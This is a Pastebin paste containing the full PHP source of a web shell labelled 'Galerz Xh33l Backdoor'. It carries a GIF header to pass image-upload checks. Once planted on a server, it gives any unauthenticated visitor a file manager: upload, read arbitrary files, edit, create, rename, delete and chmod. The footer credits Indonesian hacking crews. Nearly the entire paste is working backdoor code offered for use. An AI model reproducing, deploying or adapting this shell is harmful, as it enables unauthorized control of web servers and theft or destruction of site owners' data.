Advertisement
Guest User

Shell Mini Ustad

a guest
May 24th, 2018
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.19 KB | None | 0 0
  1. GIF89;a<?php
  2.  
  3. //
  4. //Galerz Xh33l Backdoor
  5. //Redesign By x48 a.k.a UstadCage_48
  6. //
  7.  
  8. set_time_limit(0);
  9. error_reporting(0);
  10.  
  11. if(get_magic_quotes_gpc()){
  12. foreach($_POST as $key=>$value){
  13. $_POST[$key] = stripslashes($value);
  14. }
  15. }
  16. echo '<!doctype html>
  17. <html>
  18. <head>
  19. <title>$$ Beby $$</title>
  20. </head>';
  21.  
  22. ?>
  23.  
  24. <style>
  25. @font-face {
  26. font-family: 'Comic Sans MS';
  27. font-style: normal;
  28. font-weight: 400;
  29. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  30. }
  31. body {
  32.  
  33. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  34.  
  35. }
  36.  
  37. table, th, td {
  38. border-collapse:collapse;
  39. background: transparent;
  40. font-family: Comic Sans MS ;
  41. font-size: 13px;
  42. }
  43. input, textarea { font-family: Comic Sans MS ; }
  44. .table_home, .th_home, .td_home { color:grey;
  45. border: 1px solid grey;
  46. }
  47. th {
  48. padding: 10px;
  49. }
  50. .td_home { padding: 7px; }
  51. select {font-family: Comic Sans MS }
  52. a {color:white}
  53. textarea { width: 100%;height: 400px; }
  54. </style>
  55. <?php
  56.  
  57. echo '</head>
  58. <body><b>
  59. <H1><center> &lt;/&gt; <font color="red">USTADCAGE_48</font> <font color="dodgerblue">FILE MANAGER</font></center></h1>
  60. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  61.  
  62. <tr><td>
  63.  
  64. <font color="green"><center>'.php_uname().'</center></font><br>';
  65. if(isset($_GET['path'])){
  66. $path = $_GET['path'];
  67. }else{
  68. $path =
  69.  
  70.  
  71. getcwd();
  72.  
  73. }
  74. $path = str_replace('\\','/',$path);
  75. $paths = explode('/',$path);
  76.  
  77. foreach($paths as $id=>$pat){
  78. if($pat == '' && $id == 0){
  79. $a = true;
  80. echo '<font color=#fff><center>$ root@x48 : <a href="?path=/">/</a>';
  81. continue;
  82. }
  83. if($pat == '') continue;
  84. echo '<a href="?path=';
  85. for($i=0;$i<=$id;$i++){
  86. echo "$paths[$i]";
  87. if($i != $id) echo "/";
  88. }
  89. echo '">'.$pat.'</a>/';
  90. }
  91. echo '</font></center></td></tr><tr><td><center>';
  92. if(isset($_FILES['file'])){
  93. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  94. echo '<font color="green">File Upload</font><br />';
  95. }else{
  96. echo '<font color="red">Upload Failed !!</font><br />';
  97. }
  98. }
  99. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  100. <input type="submit" value="Uploadd" />
  101. </form></center>
  102. </td></tr>';
  103. if(isset($_GET['filesrc'])){
  104. echo "<tr><td><center>Current File : ";
  105. echo $_GET['filesrc'];
  106. echo '</center></tr></td></table><br />';
  107. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  108. }
  109. //Empety
  110. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  111. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  112. //Chmod
  113. if($_GET['opt'] == 'chmod'){
  114. if(isset($_POST['perm'])){
  115. if(chmod($_POST['path'],$_POST['perm'])){
  116. echo '<font color="green">Change Permission Done </font><br />';
  117. }else{
  118. echo '<font color="red">Change Permission Error </font><br />';
  119. }
  120. }
  121.  
  122. $hell = $_GET['path'];
  123. $yeah = $_GET['name'];
  124. $patc = "$hell/$yeah";
  125.  
  126. echo '<form method="POST">
  127. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  128. <input type="hidden" name="path" value="'.$_POST['path'].'">
  129. <input type="hidden" name="opt" value="chmod">
  130. <input type="submit" value="Go" />
  131. </form>';
  132. }
  133. //
  134. elseif($_GET['opt'] == 'btw'){
  135. $cwd = getcwd();
  136. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  137. New Name : <input name="name" type="text" size="20" value="Folder" />
  138. <input type="hidden" name="path" value="'.$cwd.'">
  139. <input type="hidden" name="opt" value="delete">
  140. <input type="submit" value="Go" />
  141. </form>';
  142. }
  143. //Rename file
  144. elseif($_GET['opt'] == 'rename'){
  145. if(isset($_POST['newname'])){
  146. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  147. echo '<font color="green">Change Name Done </font><br />';
  148. }else{
  149. echo '<font color="red">Change Name Error </font><br />';
  150. }
  151. $_POST['name'] = $_POST['newname'];
  152. }
  153. $hell = $_GET['path'];
  154. $yeah = $_GET['name'];
  155. $patc = "$hell/$yeah";
  156. $new = $_POST['newname'];
  157.  
  158. echo '<form method="POST">
  159. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  160. <input type="hidden" name="path" value="'.$patc.'">
  161. <input type="hidden" name="opt" value="rename">
  162. <input type="submit" value="Go" />
  163. </form>';
  164. }
  165. //File baru
  166. elseif($_GET['opt'] == 'baru'){
  167.  
  168. $hell = $_GET['path'];
  169. $yeah = $_GET['name'];
  170. $patc = "$hell/$yeah";
  171. $new = $_POST['newname'];
  172. $azz = $_POST['path'];
  173. $newz = "$azz/$new";
  174.  
  175.  
  176. if(isset($_POST['src'])){
  177. $fp = fopen($_POST['path'],'w');
  178. if(fwrite($fp,$_POST['src'])){
  179. echo '<font color="green">Create File Done [ '.$new.' ]</font><br />';
  180. }else{
  181. echo '<font color="red">Create File Error</font><br />';
  182. }
  183. fclose($fp);
  184. }
  185.  
  186. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  187.  
  188. $ho = $_POST['ngaran1'];
  189.  
  190. if(isset($_POST['ngaran'])){
  191. echo '<form method="POST">
  192. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  193. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  194. <input type="hidden" name="opt" value="edit">
  195. <input type="submit" value="Go" />
  196. </form>';
  197. }
  198. }
  199. //Edited file
  200. elseif($_GET['opt'] == 'edit'){
  201. if(isset($_POST['src'])){
  202. $fp = fopen($_POST['path'],'w');
  203. if(fwrite($fp,$_POST['src'])){
  204. echo '<font color="green">Edit File Done </font><br />';
  205. }else{
  206. echo '<font color="red">Edit File Error </font><br />';
  207. }
  208. fclose($fp);
  209. }
  210. $hell = $_GET['path'];
  211. $yeah = $_GET['name'];
  212. $patc = "$hell/$yeah";
  213. echo '<form method="POST">
  214. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  215. <input type="hidden" name="path" value="'.$patc.'">
  216. <input type="hidden" name="opt" value="edit">
  217. <input type="submit" value="Go" />
  218. </form>';
  219. }
  220. echo '</center>';
  221. }else{
  222. echo '</table><br /><center>';
  223. //Delete dir and file
  224. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  225.  
  226. $hell = $_GET['path'];
  227. $yeah = $_GET['name'];
  228. $patc = "$hell/$yeah";
  229.  
  230. //Delete dir
  231. if($_GET['type'] == 'dir'){
  232.  
  233. if(rmdir($patc)){
  234. echo '<font color="green">Delete File Done</font><br />';
  235. }else{
  236. echo '<font color="red#">Delete File Error </font><br />';
  237. }
  238. }
  239. //buat folder
  240. if($_GET['type'] == 'buat'){
  241. $haaa = $_POST['path'];
  242. $heee = $_POST['name'];
  243. $hooo = "$haaa/$heee";
  244. $new = $haaa.'/'.htmlspecialchars($heee);
  245. if(!mkdir($new)){
  246. echo '<font color="red">Create Folder Error</font><br />';
  247. }else{
  248. echo '<font color="green">Create Folder Done </font><br />';
  249. }
  250. }
  251. //Delete file
  252. elseif($_GET['type'] == 'file'){
  253.  
  254. $hell = $_GET['path'];
  255. $yeah = $_GET['name'];
  256. $patc = "$hell/$yeah";
  257.  
  258. if(unlink($patc)){
  259. echo '<font color="green">Delete File Done</font><br />';
  260. }else{
  261. echo '<font color="red#">Delete File Error </font><br />';
  262. }
  263. }
  264. }
  265. echo '</center>';
  266. $scandir = scandir($path);
  267. $pa = getcwd();
  268. echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  269. <tr>
  270. <th class=th_home style="background:silver;color:black;"><center>Name</center></th>
  271. <th class=th_home style="background:silver;color:black;" ><center>Size</center></th>
  272. <th class=th_home style="background:silver;color:black;" ><center>Perm</center></th>
  273. <th class=th_home style="background:silver;color:black;" ><center>Options</center></th>
  274. </tr> <tr>
  275. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ New Dir</a> </td></tr>
  276. ';
  277.  
  278. foreach($scandir as $dir){
  279. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  280. echo "
  281. <tr>
  282. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
  283. <td class=td_home ><center>DIR</center></td>
  284. <td class=td_home ><center>";
  285. if(is_writable("$path/$dir")) echo '<font color="green">';
  286. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  287. echo perms("$path/$dir");
  288. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  289.  
  290. echo "</center></td>
  291. <td class=td_home ><center>
  292. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
  293.  
  294. </center></td>
  295. </tr>";
  296. }
  297. echo '<br>';
  298. foreach($scandir as $file){
  299. if(!is_file("$path/$file")) continue;
  300. $size = filesize("$path/$file")/1024;
  301. $size = round($size,3);
  302. if($size >= 1024){
  303. $size = round($size/1024,2).' MB';
  304. }else{
  305. $size = $size.' KB';
  306. }
  307.  
  308. echo "<tr>
  309. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  310. <td class=td_home><center>".$size."</center></td>
  311. <td class=td_home><center>";
  312. if(is_writable("$path/$file")) echo '<font color="green">';
  313. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  314. echo perms("$path/$file");
  315. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  316. echo "</center></td>
  317. <td class=td_home><center>
  318. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
  319. </center></td>
  320. </tr>";
  321. }
  322. echo '</table>
  323. </div>';
  324. }
  325. echo '<br><center>{ X48 - RES7OCK CREW - INDOXPLOIT CODERS - SUMEDANG CYBER TEAM }<br>[SKILL 1%] [BACOT 98%] [COLI 1%]<br>&lt;/&gt; ZONE_BLACK_HOLE</b></body>
  326. </html>';
  327. function perms($file){
  328. $perms = fileperms($file);
  329.  
  330. if (($perms & 0xC000) == 0xC000) {
  331. // Socket
  332. $info = 's';
  333. } elseif (($perms & 0xA000) == 0xA000) {
  334. // Symbolic Link
  335. $info = 'l';
  336. } elseif (($perms & 0x8000) == 0x8000) {
  337. // Regular
  338. $info = '-';
  339. } elseif (($perms & 0x6000) == 0x6000) {
  340. // Block special
  341. $info = 'b';
  342. } elseif (($perms & 0x4000) == 0x4000) {
  343. // Directory
  344. $info = 'd';
  345. } elseif (($perms & 0x2000) == 0x2000) {
  346. // Character special
  347. $info = 'c';
  348. } elseif (($perms & 0x1000) == 0x1000) {
  349. // FIFO pipe
  350. $info = 'p';
  351. } else {
  352. // Unknown
  353. $info = 'u';
  354. }
  355.  
  356. // Owner
  357. $info .= (($perms & 0x0100) ? 'r' : '-');
  358. $info .= (($perms & 0x0080) ? 'w' : '-');
  359. $info .= (($perms & 0x0040) ?
  360. (($perms & 0x0800) ? 's' : 'x' ) :
  361. (($perms & 0x0800) ? 'S' : '-'));
  362.  
  363. // Group
  364. $info .= (($perms & 0x0020) ? 'r' : '-');
  365. $info .= (($perms & 0x0010) ? 'w' : '-');
  366. $info .= (($perms & 0x0008) ?
  367. (($perms & 0x0400) ? 's' : 'x' ) :
  368. (($perms & 0x0400) ? 'S' : '-'));
  369.  
  370. // World
  371. $info .= (($perms & 0x0004) ? 'r' : '-');
  372. $info .= (($perms & 0x0002) ? 'w' : '-');
  373. $info .= (($perms & 0x0001) ?
  374. (($perms & 0x0200) ? 't' : 'x' ) :
  375. (($perms & 0x0200) ? 'T' : '-'));
  376.  
  377. return $info;
  378. }
  379.  
  380. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement